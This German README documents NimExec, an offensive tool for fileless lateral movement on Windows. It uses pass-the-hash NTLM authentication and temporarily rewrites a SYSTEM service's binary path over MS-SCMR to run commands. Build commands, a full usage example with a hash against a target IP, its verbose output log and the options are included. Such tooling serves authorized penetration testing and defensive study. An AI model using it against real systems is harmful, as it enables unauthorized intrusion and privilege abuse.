
Dateilose Befehlsausführung für Laterale Bewegung in Nim
Im Grunde genommen ist NimExec ein dateiloses Tool zur Fernbefehlsausführung, das das Service Control Manager Remote Protocol (MS-SCMR) verwendet. Es ändert den Binärpfad eines zufälligen oder angegebenen Dienstes, der von LocalSystem ausgeführt wird, um den angegebenen Befehl auf dem Ziel auszuführen, und stellt ihn später über handgefertigte RPC-Pakete anstelle von WinAPI-Aufrufen wieder her. Es sendet diese Pakete über SMB2 und die benannte Pipe svcctl.
NimExec benötigt einen NTLM-Hash, um sich an der Zielmaschine zu authentifizieren, und schließt diesen Authentifizierungsprozess dann mit der NTLM-Authentifizierungsmethode über handgefertigte Pakete ab.
Da alle erforderlichen Netzwerkpakete manuell erstellt werden und keine betriebssystemspezifischen Funktionen verwendet werden, kann NimExec dank Nims Cross-Compilability-Unterstützung auf verschiedenen Betriebssystemen eingesetzt werden.
Dieses Projekt wurde inspiriert von Julios SharpNoPSExec Tool. Man kann sich vorstellen, dass NimExec eine Cross-Compilable- und integrierte Pass-the-Hash-unterstützte Version von SharpNoPSExec ist. Außerdem habe ich die erforderlichen Netzwerkpaketstrukturen von Kevin Robertsons Invoke-SMBExec-Skript gelernt.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
Der obige Befehl verwendet einen anderen Garbage Collector, da der Standard-Garbage-Collector in Nim während des Dienstsuchvorgangs einige SIGSEGV-Fehler auslöst.
Außerdem können Sie die erforderlichen Nim-Module über Nimble mit dem folgenden Befehl installieren:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .-------------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
Es wurde gegen Windows 10 und 11, Windows Server 2016, 2019 und 2022 von Ubuntu 20.04 und Windows 10 Maschinen getestet.
-v | --verbose Ausführlichere Ausgabe aktivieren.
-u | --username <Benutzername> Benutzername für NTLM-Authentifizierung.*
-h | --hash <NTLM-Hash> NTLM-Passwort-Hash für NTLM-Authentifizierung.**
-p | --password <Passwort> Klartext-Passwort.**
-t | --target <Ziel> Ziel der lateralen Bewegung.*
-c | --command <Befehl> Auszuführender Befehl.*
-d | --domain <Domäne> Domänenname für NTLM-Authentifizierung.
-s | --service <Dienstname> Name des Dienstes anstelle eines zufälligen.
--help Hilfemeldung anzeigen.
Nur für autorisierte Sicherheitstests. Missbrauch dieses Tools gegen Systeme ohne ausdrückliche Erlaubnis ist illegal.